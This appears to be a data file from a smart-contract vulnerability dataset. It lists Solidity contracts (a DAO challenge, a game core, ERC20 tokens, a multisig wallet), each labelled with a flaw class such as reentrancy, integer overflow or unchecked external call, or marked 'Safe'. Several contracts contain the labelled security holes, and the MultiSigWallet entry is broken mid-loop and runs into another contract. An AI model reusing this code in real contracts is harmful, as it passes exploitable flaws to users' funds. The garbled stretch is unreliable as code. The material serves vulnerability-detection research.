balances[msg.sender] = initialSupply; // Send all tokens to owner emit Transfer(0x0, msg.sender, initialSupply); } }",./Dataset/unchecked external call (UC),7,7 40118.sol,"contract DaoAccount { /************************** Constants ***************************/ uint256 constant tokenPrice = 1000000000000000; // 1 finney /************************** Events ***************************/ // No events /************************** Public variables ***************************/ uint256 public tokenBalance; // number of tokens in this account /************************** Private variables ***************************/ address owner; // owner of the otkens address daoChallenge; // the DaoChallenge this account belongs to // Owner of the challenge with backdoor access. // Remove for a real DAO contract: address challengeOwner; /************************** Modifiers ***************************/ modifier noEther() {if (msg.value > 0) throw; _} modifier onlyOwner() {if (owner != msg.sender) throw; _} modifier onlyChallengeOwner() {if (challengeOwner != msg.sender) throw; _} /************************** Constructor and fallback **************************/ function DaoAccount (address _owner, address _challengeOwner) { owner = _owner; daoChallenge = msg.sender; // Remove for a real DAO contract: challengeOwner = _challengeOwner; } // Only owner can fund: function () onlyOwner returns (uint256 newBalance){ uint256 amount = msg.value; // No fractional tokens: if (amount % tokenPrice != 0) { throw; } uint256 tokens = amount / tokenPrice; tokenBalance += tokens; return tokenBalance; } /************************** Private functions ***************************/ // This uses call.value()() rather than send(), but only sends to msg.sender // who is also the owner. function withdrawEtherOrThrow(uint256 amount) private { if (msg.sender != owner) throw; bool result = owner.call.value(amount)(); if (!result) { throw; } } /************************** Public functions ***************************/ function refund() noEther onlyOwner { if (tokenBalance == 0) throw; tokenBalance = 0; withdrawEtherOrThrow(tokenBalance * tokenPrice); } // The owner of the challenge can terminate it. Don't use this in a real DAO. function terminate() noEther onlyChallengeOwner { suicide(challengeOwner); } } contract DaoChallenge { /************************** Constants ***************************/ // No Constants /************************** Events ***************************/ event notifyTerminate(uint256 finalBalance); /************************** Public variables ***************************/ /************************** Private variables ***************************/ // Owner of the challenge; a real DAO doesn't an owner. address owner; mapping (address => DaoAccount) private daoAccounts; /************************** Modifiers ***************************/ modifier noEther() {if (msg.value > 0) throw; _} modifier onlyOwner() {if (owner != msg.sender) throw; _} /************************** Constructor and fallback **************************/ function DaoChallenge () { owner = msg.sender; // Owner of the challenge. Don't use this in a real DAO. } function () noEther { } /************************** Private functions ***************************/ // No private functions /************************** Public functions ***************************/ function createAccount () noEther returns (DaoAccount account) { address accountOwner = msg.sender; address challengeOwner = owner; // Don't use in a real DAO // One account per address: if(daoAccounts[accountOwner] != DaoAccount(0x00)) throw; daoAccounts[accountOwner] = new DaoAccount(accountOwner, challengeOwner); return daoAccounts[accountOwner]; } function myAccount () noEther returns (DaoAccount) { address accountOwner = msg.sender; return daoAccounts[accountOwner]; } // The owner of the challenge can terminate it. Don't use this in a real DAO. function terminate() noEther onlyOwner { notifyTerminate(this.balance); suicide(owner); } }",./Dataset/reentrancy (RE)/,5,5 838.sol,"/* https://mycryptochamp.io/ [email protected] */ pragma solidity 0.4.24; contract Controller{ function getChampReward(uint _position) public view returns(uint); function changeChampsName(uint _champId, string _name, address _msgsender) external; function withdrawChamp(uint _id, address _msgsender) external; function attack(uint _champId, uint _targetId, address _msgsender) external; function transferToken(address _from, address _to, uint _id, bool _isTokenChamp) external; function cancelTokenSale(uint _id, address _msgsender, bool _isTokenChamp) public; function giveToken(address _to, uint _id, address _msgsender, bool _isTokenChamp) external; function setTokenForSale(uint _id, uint _price, address _msgsender, bool _isTokenChamp) external; function getTokenURIs(uint _id, bool _isTokenChamp) public pure returns(string); function takeOffItem(uint _champId, uint8 _type, address _msgsender) public; function putOn(uint _champId, uint _itemId, address _msgsender) external; function forgeItems(uint _parentItemID, uint _childItemID, address _msgsender) external; } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } } /// @title MyCryptoChamp Core - Stores all of game data. Functions are stored in the replaceable contracts. This solution was required in order to avoid unexpected bugs and make game upgradeable. /// @author Patrik Mojzis contract MyCryptoChampCore { using SafeMath for uint; struct Champ { uint id; //same as position in Champ[] uint attackPower; uint defencePower; uint cooldownTime; //how long does it take to be able attack again uint readyTime; //if is smaller than block.timestamp champ is ready to fight uint winCount; uint lossCount; uint position; //subtract 1 and you get position in leaderboard[] uint price; //sale price uint withdrawCooldown; //if you one of the 800 best champs and withdrawCooldown is less as block.timestamp then you get ETH reward uint eq_sword; uint eq_shield; uint eq_helmet; bool forSale; //is champ for sale? } struct AddressInfo { uint withdrawal; uint champsCount; uint itemsCount; string name; } //Item struct struct Item { uint id; uint8 itemType; // 1 - Sword | 2 - Shield | 3 - Helmet uint8 itemRarity; // 1 - Common | 2 - Uncommon | 3 - Rare | 4 - Epic | 5 - Legendery | 6 - Forged uint attackPower; uint defencePower; uint cooldownReduction; uint price; uint onChampId; //can not be used to decide if item is on champ, because champ's id can be 0, 'bool onChamp' solves it. bool onChamp; bool forSale; //is item for sale? } Champ[] public champs; Item[] public items; mapping (uint => uint) public leaderboard; mapping (address => bool) private trusted; mapping (address => AddressInfo) public addressInfo; mapping (bool => mapping(address => mapping (address => bool))) public tokenOperatorApprovals; mapping (bool => mapping(uint => address)) public tokenApprovals; mapping (bool => mapping(uint => address)) public tokenToOwner; mapping (uint => string) public champToName; mapping (bool => uint) public tokensForSaleCount; uint public pendingWithdrawal = 0; address private contractOwner; Controller internal controller; constructor () public { trusted[msg.sender] = true; contractOwner = msg.sender; } /*============== MODIFIERS ==============*/ modifier onlyTrusted(){ require(trusted[msg.sender]); _; } modifier isPaid(uint _price) { require(msg.value >= _price); _; } modifier onlyNotOwnerOfItem(uint _itemId) { require(_itemId != 0); require(msg.sender != tokenToOwner[false][_itemId]); _; } modifier isItemForSale(uint _id){ require(items[_id].forSale); _; } modifier onlyNotOwnerOfChamp(uint _champId) { require(msg.sender != tokenToOwner[true][_champId]); _; } modifier isChampForSale(uint _id) { require(champs[_id].forSale); _; } /*============== CONTROL COTRACT ==============*/ function loadController(address _address) external onlyTrusted { controller = Controller(_address); } function setTrusted(address _address, bool _trusted) external onlyTrusted { trusted[_address] = _trusted; } function transferOwnership(address newOwner) public onlyTrusted { require(newOwner != address(0)); contractOwner = newOwner; } /*============== PRIVATE FUNCTIONS ==============*/ function _addWithdrawal(address _address, uint _amount) private { addressInfo[_address].withdrawal += _amount; pendingWithdrawal += _amount; } /// @notice Distribute input funds between contract owner and players function _distributeNewSaleInput(address _affiliateAddress) private { //contract owner _addWithdrawal(contractOwner, ((msg.value / 100) * 60)); // 60% //affiliate //checks if _affiliateAddress is set & if affiliate address is not buying player if(_affiliateAddress != address(0) && _affiliateAddress != msg.sender){ _addWithdrawal(_affiliateAddress, ((msg.value / 100) * 25)); //provision is 25% } } /*============== ONLY TRUSTED ==============*/ function addWithdrawal(address _address, uint _amount) public onlyTrusted { _addWithdrawal(_address, _amount); } function clearTokenApproval(address _from, uint _tokenId, bool _isTokenChamp) public onlyTrusted { require(tokenToOwner[_isTokenChamp][_tokenId] == _from); if (tokenApprovals[_isTokenChamp][_tokenId] != address(0)) { tokenApprovals[_isTokenChamp][_tokenId] = address(0); } } function emergencyWithdraw() external onlyTrusted { contractOwner.transfer(address(this).balance); } function setChampsName(uint _champId, string _name) public onlyTrusted { champToName[_champId] = _name; } function setLeaderboard(uint _x, uint _value) public onlyTrusted { leaderboard[_x] = _value; } function setTokenApproval(uint _id, address _to, bool _isTokenChamp) public onlyTrusted { tokenApprovals[_isTokenChamp][_id] = _to; } function setTokenOperatorApprovals(address _from, address _to, bool _approved, bool _isTokenChamp) public onlyTrusted { tokenOperatorApprovals[_isTokenChamp][_from][_to] = _approved; } function setTokenToOwner(uint _id, address _owner, bool _isTokenChamp) public onlyTrusted { tokenToOwner[_isTokenChamp][_id] = _owner; } function setTokensForSaleCount(uint _value, bool _isTokenChamp) public onlyTrusted { tokensForSaleCount[_isTokenChamp] = _value; } function transferToken(address _from, address _to, uint _id, bool _isTokenChamp) public onlyTrusted { controller.transferToken(_from, _to, _id, _isTokenChamp); } function updateAddressInfo(address _address, uint _withdrawal, bool _updatePendingWithdrawal, uint _champsCount, bool _updateChampsCount, uint _itemsCount, bool _updateItemsCount, string _name, bool _updateName) public onlyTrusted { AddressInfo storage ai = addressInfo[_address]; if(_updatePendingWithdrawal){ ai.withdrawal = _withdrawal; } if(_updateChampsCount){ ai.champsCount = _champsCount; } if(_updateItemsCount){ ai.itemsCount = _itemsCount; } if(_updateName){ ai.name = _name; } } function newChamp( uint _attackPower, uint _defencePower, uint _cooldownTime, uint _winCount, uint _lossCount, uint _position, uint _price, uint _eq_sword, uint _eq_shield, uint _eq_helmet, bool _forSale, address _owner ) public onlyTrusted returns (uint){ Champ memory champ = Champ({ id: 0, attackPower: 0, //CompilerError: Stack too deep, try removing local variables. defencePower: _defencePower, cooldownTime: _cooldownTime, readyTime: 0, winCount: _winCount, lossCount: _lossCount, position: _position, price: _price, withdrawCooldown: 0, eq_sword: _eq_sword, eq_shield: _eq_shield, eq_helmet: _eq_helmet, forSale: _forSale }); champ.attackPower = _attackPower; uint id = champs.push(champ) - 1; champs[id].id = id; leaderboard[_position] = id; addressInfo[_owner].champsCount++; tokenToOwner[true][id] = _owner; if(_forSale){ tokensForSaleCount[true]++; } return id; } function newItem( uint8 _itemType, uint8 _itemRarity, uint _attackPower, uint _defencePower, uint _cooldownReduction, uint _price, uint _onChampId, bool _onChamp, bool _forSale, address _owner ) public onlyTrusted returns (uint) { //create that struct Item memory item = Item({ id: 0, itemType: _itemType, itemRarity: _itemRarity, attackPower: _attackPower, defencePower: _defencePower, cooldownReduction: _cooldownReduction, price: _price, onChampId: _onChampId, onChamp: _onChamp, forSale: _forSale }); uint id = items.push(item) - 1; items[id].id = id; addressInfo[_owner].itemsCount++; tokenToOwner[false][id] = _owner; if(_forSale){ tokensForSaleCount[false]++; } return id; } function updateChamp( uint _champId, uint _attackPower, uint _defencePower, uint _cooldownTime, uint _readyTime, uint _winCount, uint _lossCount, uint _position, uint _price, uint _withdrawCooldown, uint _eq_sword, uint _eq_shield, uint _eq_helmet, bool _forSale ) public onlyTrusted { Champ storage champ = champs[_champId]; if(champ.attackPower != _attackPower){champ.attackPower = _attackPower;} if(champ.defencePower != _defencePower){champ.defencePower = _defencePower;} if(champ.cooldownTime != _cooldownTime){champ.cooldownTime = _cooldownTime;} if(champ.readyTime != _readyTime){champ.readyTime = _readyTime;} if(champ.winCount != _winCount){champ.winCount = _winCount;} if(champ.lossCount != _lossCount){champ.lossCount = _lossCount;} if(champ.position != _position){ champ.position = _position; leaderboard[_position] = _champId; } if(champ.price != _price){champ.price = _price;} if(champ.withdrawCooldown != _withdrawCooldown){champ.withdrawCooldown = _withdrawCooldown;} if(champ.eq_sword != _eq_sword){champ.eq_sword = _eq_sword;} if(champ.eq_shield != _eq_shield){champ.eq_shield = _eq_shield;} if(champ.eq_helmet != _eq_helmet){champ.eq_helmet = _eq_helmet;} if(champ.forSale != _forSale){ champ.forSale = _forSale; if(_forSale){ tokensForSaleCount[true]++; }else{ tokensForSaleCount[true]--; } } } function updateItem( uint _id, uint8 _itemType, uint8 _itemRarity, uint _attackPower, uint _defencePower, uint _cooldownReduction, uint _price, uint _onChampId, bool _onChamp, bool _forSale ) public onlyTrusted { Item storage item = items[_id]; if(item.itemType != _itemType){item.itemType = _itemType;} if(item.itemRarity != _itemRarity){item.itemRarity = _itemRarity;} if(item.attackPower != _attackPower){item.attackPower = _attackPower;} if(item.defencePower != _defencePower){item.defencePower = _defencePower;} if(item.cooldownReduction != _cooldownReduction){item.cooldownReduction = _cooldownReduction;} if(item.price != _price){item.price = _price;} if(item.onChampId != _onChampId){item.onChampId = _onChampId;} if(item.onChamp != _onChamp){item.onChamp = _onChamp;} if(item.forSale != _forSale){ item.forSale = _forSale; if(_forSale){ tokensForSaleCount[false]++; }else{ tokensForSaleCount[false]--; } } } /*============== CALLABLE BY PLAYER ==============*/ function buyItem(uint _id, address _affiliateAddress) external payable onlyNotOwnerOfItem(_id) isItemForSale(_id) isPaid(items[_id].price) { if(tokenToOwner[false][_id] == address(this)){ _distributeNewSaleInput(_affiliateAddress); }else{ _addWithdrawal(tokenToOwner[false][_id], msg.value); } controller.transferToken(tokenToOwner[false][_id], msg.sender, _id, false); } function buyChamp(uint _id, address _affiliateAddress) external payable onlyNotOwnerOfChamp(_id) isChampForSale(_id) isPaid(champs[_id].price) { if(tokenToOwner[true][_id] == address(this)){ _distributeNewSaleInput(_affiliateAddress); }else{ _addWithdrawal(tokenToOwner[true][_id], msg.value); } controller.transferToken(tokenToOwner[true][_id], msg.sender, _id, true); } function changePlayersName(string _name) external { addressInfo[msg.sender].name = _name; } function withdrawToAddress(address _address) external { address playerAddress = _address; if(playerAddress == address(0)){ playerAddress = msg.sender; } uint share = addressInfo[playerAddress].withdrawal; //gets pending funds require(share > 0); //is it more than 0? addressInfo[playerAddress].withdrawal = 0; //set player's withdrawal pendings to 0 pendingWithdrawal = pendingWithdrawal.sub(share); //subtract share from total pendings playerAddress.transfer(share); //transfer } /*============== VIEW FUNCTIONS ==============*/ function getChampsByOwner(address _owner) external view returns(uint256[]) { uint256[] memory result = new uint256[](addressInfo[_owner].champsCount); uint256 counter = 0; for (uint256 i = 0; i < champs.length; i++) { if (tokenToOwner[true][i] == _owner) { result[counter] = i; counter++; } } return result; } function getTokensForSale(bool _isTokenChamp) view external returns(uint256[]){ uint256[] memory result = new uint256[](tokensForSaleCount[_isTokenChamp]); if(tokensForSaleCount[_isTokenChamp] > 0){ uint256 counter = 0; if(_isTokenChamp){ for (uint256 i = 0; i < champs.length; i++) { if (champs[i].forSale == true) { result[counter]=i; counter++; } } }else{ for (uint256 n = 0; n < items.length; n++) { if (items[n].forSale == true) { result[counter]=n; counter++; } } } } return result; } function getChampStats(uint256 _champId) public view returns(uint256,uint256,uint256){ Champ storage champ = champs[_champId]; Item storage sword = items[champ.eq_sword]; Item storage shield = items[champ.eq_shield]; Item storage helmet = items[champ.eq_helmet]; uint totalAttackPower = champ.attackPower + sword.attackPower + shield.attackPower + helmet.attackPower; //Gets champs AP uint totalDefencePower = champ.defencePower + sword.defencePower + shield.defencePower + helmet.defencePower; //Gets champs DP uint totalCooldownReduction = sword.cooldownReduction + shield.cooldownReduction + helmet.cooldownReduction; //Gets CR return (totalAttackPower, totalDefencePower, totalCooldownReduction); } function getItemsByOwner(address _owner) external view returns(uint256[]) { uint256[] memory result = new uint256[](addressInfo[_owner].itemsCount); uint256 counter = 0; for (uint256 i = 0; i < items.length; i++) { if (tokenToOwner[false][i] == _owner) { result[counter] = i; counter++; } } return result; } function getTokenCount(bool _isTokenChamp) external view returns(uint) { if(_isTokenChamp){ return champs.length - addressInfo[address(0)].champsCount; }else{ return items.length - 1 - addressInfo[address(0)].itemsCount; } } function getTokenURIs(uint _tokenId, bool _isTokenChamp) public view returns(string) { return controller.getTokenURIs(_tokenId,_isTokenChamp); } function onlyApprovedOrOwnerOfToken(uint _id, address _msgsender, bool _isTokenChamp) external view returns(bool) { if(!_isTokenChamp){ require(_id != 0); } address owner = tokenToOwner[_isTokenChamp][_id]; return(_msgsender == owner || _msgsender == tokenApprovals[_isTokenChamp][_id] || tokenOperatorApprovals[_isTokenChamp][owner][_msgsender]); } /*============== DELEGATE ==============*/ function attack(uint _champId, uint _targetId) external{ controller.attack(_champId, _targetId, msg.sender); } function cancelTokenSale(uint _id, bool _isTokenChamp) public{ controller.cancelTokenSale(_id, msg.sender, _isTokenChamp); } function changeChampsName(uint _champId, string _name) external{ controller.changeChampsName(_champId, _name, msg.sender); } function forgeItems(uint _parentItemID, uint _childItemID) external{ controller.forgeItems(_parentItemID, _childItemID, msg.sender); } function giveToken(address _to, uint _champId, bool _isTokenChamp) external{ controller.giveToken(_to, _champId, msg.sender, _isTokenChamp); } function setTokenForSale(uint _id, uint _price, bool _isTokenChamp) external{ controller.setTokenForSale(_id, _price, msg.sender, _isTokenChamp); } function putOn(uint _champId, uint _itemId) external{ controller.putOn(_champId, _itemId, msg.sender); } function takeOffItem(uint _champId, uint8 _type) public{ controller.takeOffItem(_champId, _type, msg.sender); } function withdrawChamp(uint _id) external{ controller.withdrawChamp(_id, msg.sender); } function getChampReward(uint _position) public view returns(uint){ return controller.getChampReward(_position); } }",./Dataset/ether strict equality (SE),3,3 0x01b3ec4aae1b8729529beb4965f27d008788b0eb_DPPToken.sol,"library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract IERC20Token { function totalSupply() constant returns (uint256 totalSupply); function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract ItokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); } contract IToken { function totalSupply() constant returns (uint256 totalSupply); function mintTokens(address _to, uint256 _amount) {} } contract IMintableToken { function mintTokens(address _to, uint256 _amount){} } contract ReentrnacyHandlingContract{ bool locked; modifier noReentrancy() { require(!locked); locked = true; _; locked = false; } } contract Owned { address public owner; address public newOwner; function Owned() { owner = msg.sender; } modifier onlyOwner { assert(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != owner); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = 0x0; } event OwnerUpdate(address _prevOwner, address _newOwner); } contract Lockable is Owned{ uint256 public lockedUntilBlock; event ContractLocked(uint256 _untilBlock, string _reason); modifier lockAffected { require(block.number > lockedUntilBlock); _; } function lockFromSelf(uint256 _untilBlock, string _reason) internal { lockedUntilBlock = _untilBlock; ContractLocked(_untilBlock, _reason); } function lockUntil(uint256 _untilBlock, string _reason) onlyOwner { lockedUntilBlock = _untilBlock; ContractLocked(_untilBlock, _reason); } } contract Token is IERC20Token, Owned, Lockable{ using SafeMath for uint256; /* Public variables of the token */ string public standard; string public name; string public symbol; uint8 public decimals; address public crowdsaleContractAddress; /* Private variables of the token */ uint256 supply = 0; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowances; /* Events */ event Mint(address indexed _to, uint256 _value); /* Returns total supply of issued tokens */ function totalSupply() constant returns (uint256) { return supply; } /* Returns balance of address */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } /* Transfers tokens from your address to other */ function transfer(address _to, uint256 _value) lockAffected returns (bool success) { require(_to != 0x0 && _to != address(this)); balances[msg.sender] = balances[msg.sender].sub(_value); // Deduct senders balance balances[_to] = balances[_to].add(_value); // Add recivers blaance Transfer(msg.sender, _to, _value); // Raise Transfer event return true; } /* Approve other address to spend tokens on your account */ function approve(address _spender, uint256 _value) lockAffected returns (bool success) { allowances[msg.sender][_spender] = _value; // Set allowance Approval(msg.sender, _spender, _value); // Raise Approval event return true; } /* Approve and then communicate the approved contract in a single tx */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) lockAffected returns (bool success) { ItokenRecipient spender = ItokenRecipient(_spender); // Cast spender to tokenRecipient contract approve(_spender, _value); // Set approval to contract for _value spender.receiveApproval(msg.sender, _value, this, _extraData); // Raise method on _spender contract return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) lockAffected returns (bool success) { require(_to != 0x0 && _to != address(this)); balances[_from] = balances[_from].sub(_value); // Deduct senders balance balances[_to] = balances[_to].add(_value); // Add recipient blaance allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value); // Deduct allowance for this address Transfer(_from, _to, _value); // Raise Transfer event return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances[_owner][_spender]; } function mintTokens(address _to, uint256 _amount) { require(msg.sender == crowdsaleContractAddress); supply = supply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); } function salvageTokensFromContract(address _tokenAddress, address _to, uint _amount) onlyOwner{ IERC20Token(_tokenAddress).transfer(_to, _amount); } } contract DPPToken is Token { /* Initializes contract */ function DPPToken() { standard = ""DA Power Play Token token v1.0""; name = ""DA Power Play Token""; symbol = ""DPP""; decimals = 18; crowdsaleContractAddress = 0x6f0d792B540afA2c8772B9bA4805E7436ad8413e; lockFromSelf(4393122, ""Lock before crowdsale starts""); } }",Safe,8,8 1443.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract TRCToken is TokenERC20 { function TRCToken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} }",./Dataset/integer overflow (OF)/,4,4 32245.sol,"/// This code was taken from: https://github.com/gnosis/MultiSigWallet pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) revert(); _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) revert(); _; } modifier ownerExists(address owner) { if (!isOwner[owner]) revert(); _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) revert(); _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) revert(); _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) revert(); _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) revert(); _; } modifier notNull(address _address) { if (_address == 0) revert(); _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) revert(); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) revert(); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i bytes) public ipfsAttributeLookup; function UportRegistry(address _previousPublishedVersion) { version = 1; previousPublishedVersion = _previousPublishedVersion; } function setAttributes(bytes ipfsHash) { ipfsAttributeLookup[msg.sender] = ipfsHash; AttributesSet(msg.sender, now); } function getAttributes(address personaAddress) constant returns(bytes) { return ipfsAttributeLookup[personaAddress]; } }",Safe,8,8 386.sol,"pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract CAECToken { using SafeMath for uint256; string public name = ""CarEasyChain""; string public symbol = ""CAEC""; uint8 public decimals = 18; uint256 public totalSupply = 10000000000 ether; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function CAECToken() public { balanceOf[msg.sender] = totalSupply; } function () external payable { } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }",./Dataset/integer overflow (OF)/,4,4 1654.sol,"pragma solidity 0.4.11; // File: contracts/OwnerValidator.sol contract TokenContract { function totalSupply() constant returns (uint256 supply); function decimals() constant returns(uint8 units); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function transferFromSender(address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); } contract OwnerValidator { function validate(address addr) constant returns (bool); } contract Owned { function ownerValidate(address addr) constant returns (bool); bool public isWorking; function Owned() { isWorking = true; } modifier onlyOwner { if (!ownerValidate(msg.sender)) throw; _; } modifier onlyWorking { if (!isWorking) throw; _; } modifier onlyNotWorking { if (isWorking) throw; _; } function setWorking(bool _isWorking) onlyOwner { isWorking = _isWorking; } } contract OwnerValidatorImpl is OwnerValidator, Owned { address[] public owners; TokenContract public tokenContract; function OwnerValidatorImpl() { owners.push(msg.sender); } function indexOfOwners(address _address) private constant returns (uint pos) { pos = 0; for (uint i = 0; i < owners.length; i++) { if (owners[i] == _address) { pos = i + 1; break; } } return pos; } function validate(address addr) constant returns (bool) { return (indexOfOwners(addr) != 0); } function getOwners() constant returns (address[]) { return owners; } function addOwner(address addr) onlyWorking { if (validate(msg.sender)) { if 